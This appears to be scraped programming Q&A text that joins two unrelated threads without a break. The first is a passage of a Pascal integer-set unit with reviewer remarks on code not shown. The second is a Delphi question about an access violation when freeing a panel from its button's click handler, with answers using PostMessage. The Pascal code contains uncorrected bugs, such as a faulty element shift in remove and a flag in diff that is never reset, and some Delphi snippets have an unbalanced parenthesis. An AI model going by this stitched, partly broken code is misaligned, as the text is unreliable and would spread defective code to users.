procedure remove(n:integer; var s:iset);
var
newsize:integer;
count:integer;
count2:integer;
begin
{needed to keep size constant when it is being changed in nested loops}
newsize:=s.setsize;
if isMember(n,s) then
begin
for count:= 1 to newsize do
begin
if s.arrayint[count]=n then
begin
for count2:=1 to newsize do
begin
s.arrayint[count]:=s.arrayint[count+1]; {replaces the removed member}
end;
s.setsize:=s.setsize-1;{removes unneeded size}
end;
end;
end;
end;
procedure union(s1,s2:iset; var res:iset);
var
count:integer;
count2:integer;
begin
makeEmpty(res);
if equals(s1,s2) then
{they are the same, nothing is done}
else
begin
{takes a member of s2 and puts it res if it is not in s1 since res is the same as s1}
for count:=1 to s1.setsize do
begin
add(s1.arrayint[count],res);
end;
for count2:=1 to s2.setsize do
begin
add(s2.arrayint[count2],res);
end;
end;
end;
procedure intersect(s1,s2:iset; var res:iset);
var
count:integer;
begin
if equals(s1,s2) then
res:=s1 {since they are the same only 1 needs to be returned}
else
begin
for count:=1 to s1.setsize do
begin
{number is added to res if it is in both s1 AND s2 only}
if isMember(s1.arrayint[count],s2) then
add(s1.arrayint[count],res)
end;
end;
end;
procedure diff(s1,s2:iset; var res:iset);
var
member:boolean;
count:integer;
count2:integer;
begin
member:=false;
if equals(s1,s2) then
{if they are the same then nothing is returned because there is no difference}
makeEmpty(res)
else
begin
for count:=1 to s1.setsize do
begin
for count2:=1 to s2.setsize do
begin
{if number is in s1 and not s2 then it is true and it is added to res}
if s1.arrayint[count]=s2.arrayint[count2] then
member:=true;
end;
if member=false then
add(s1.arrayint[count],res);
end;
end;
end;
function toString(s:iset):ansistring; {this is just a string with no size limit}
var
print:ansistring;
x:string;
i: Integer;
count:integer;
begin
print:='';
for count:=1 to s.setsize do
begin
i:=s.arrayint[count];
str(i,x);
print:=print+x+',';
end;
print:='{'+ print+'}';
toString:=print;
end;
end. {END OF PROGRAM}
and this is the runner for the program
program testisetSample;
uses isetADT;
var
s1,s2,s3 : iset;
i : integer;
begin
makeEmpty(s1); makeEmpty(s2);
for i := 1 to 5 do
add(i,s1);
for i := 3 to 8 do
add(i,s2);
intersect(s1,s2,s3);
writeln(toString(s3));
readln;
end.
Obvious mistake:
You are using
print:=print+'x'+',';
when you want
print:=print+x+',';
Mistakes in isMember:
member:=false;
you are not setting isMember, the returned value will be "random". You could remove member altogether and always use `isMember?
if s.setsize=0 then
Should be > 0. But it is not needed
I create a Custom Tpanel and inside I put various Custom Components ...
procedure Panel_Comp(Location: TWinControl; NumOfComp: Integer;Left,Top,Height,width:Integer);
begin
MyPanel := TsPanel.Create(Conf);
MyPanel.Name := 'MyPanel' + IntToStr(NumOfComp);
MyPanel.Parent := Location;
MyPanel.Left := Left;
MyPanel.Top := Top;
MyPanel.Height := Height;
MyPanel.Width := width;
MyPanel.Caption := '';
end;
and i call it like this
Panel_Comp(Conf.ScrollBox1,1,8,10,70,322);
in the same logic i put inside the new panel other custom components including a tBitbtn the have a onclick event..
procedure BitBtn_Comp(Location: TWinControl; NumOfComp: Integer; Left,Top,Height,Width,ImageNum: Integer);
begin
MyBitBtn := TBitBtn.Create(Conf);
......
MyBitBtn.tag := NumOfComp;
MyBitBtn.OnClick:= Conf.CloseCurrentPanel;
end;
In the main Forn The TConf.CloseCurrentPanel;
procedure TConf.CloseCurrentPanel(Sender: TObject);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(TBitBtn(Sender).tag);
TPanel(panelComp).Free;
Application.ProcessMessages;
end;
When I call that I get access violation...
I think is something that I must free all the components inside the panel before free the panel but how I free the BitBtn before the panel and continue the action of the click event?
Here is the FindComponetEx function instead you need it...
function FindComponentEx(const Name: string): TComponent;
var
FormName: string;
CompName: string;
P: Integer;
Found: Boolean;
Form: TForm;
I: Integer;
begin
// Split up in a valid form and a valid component name
P := Pos('.', Name);
if P = 0 then
begin
raise Exception.Create('No valid form name given');
end;
FormName := Copy(Name, 1, P - 1);
CompName := Copy(Name, P + 1, High(Integer));
Found := False;
// find the form
for I := 0 to Screen.FormCount - 1 do
begin
Form := Screen.Forms[I];
// case insensitive comparing
if AnsiSameText(Form.Name, FormName) then
begin
Found := True;
Break;
end;
end;
if Found then
begin
for I := 0 to Form.ComponentCount - 1 do
begin
Result := Form.Components[I];
if AnsiSameText(Result.Name, CompName) then Exit;
end;
end;
Result := nil;
end;
The AV occurs because you are destroying a component (MyBitBtn) while it is still handling Windows messages. The solution is to postpone the destruction until later via PostMessage, similar to this:
unit Unit1;
interface
uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
ExtCtrls,
StdCtrls;
const
UM_DESTROYPANEL = WM_APP + 623; // some "unique" number; UM = user message
type
TConf = class(TForm)
Panel1: TPanel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
strict private
procedure UMDestroyPanel(var Message: TMessage); message UM_DESTROYPANEL;
public
{ Public-Deklarationen }
end;
var
Conf: TConf;
implementation
{$R *.dfm}
procedure TConf.Button1Click(Sender: TObject);
begin
PostMessage(Handle, UM_DESTROYPANEL, 0, 0);
end;
procedure TConf.UMDestroyPanel(var Message: TMessage);
begin
Panel1.Free;
end;
end.
If needed you can use wParam and lParam to pass through parameters like so:
procedure TConf.Button1Click(Sender: TObject);
begin
PostMessage(Handle, UM_DESTROYPANEL, WPARAM(Panel1), 0);
end;
procedure TConf.UMDestroyPanel(var Message: TMessage);
begin
TObject(Message.WParam).Free;
end;
EDIT:
In your situation I'd probably rewrite TConf.CloseCurrentPanel like this:
procedure TConf.CloseCurrentPanel(Sender: TObject);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(TBitBtn(Sender).Tag);
PostMessage(Handle, UM_DESTROYPANEL, WPARAM(panelComp), 0);
end;
Alternatively you can pass through the Tag (might be the better solution because there's less casting involved):
procedure TConf.CloseCurrentPanel(Sender: TObject);
begin
PostMessage(Handle, UM_DESTROYPANEL, TBitBtn(Sender).Tag, 0);
end;
procedure TConf.UMDestroyPanel(var Message: TMessage);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(Message.WParam));
panelComp.Free;
end;
AFAICT the Application.ProcessMessages isn't needed.
procedure TConf.CloseCurrentPanel(Sender: TObject);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(TBitBtn(Sender).tag);
//Where you need to determine 'PanelComp' if there are.
if Assigned(panelComp) and (PanelComp is TPanel) then
TPanel(panelComp).Free;
Application.ProcessMessages;
end;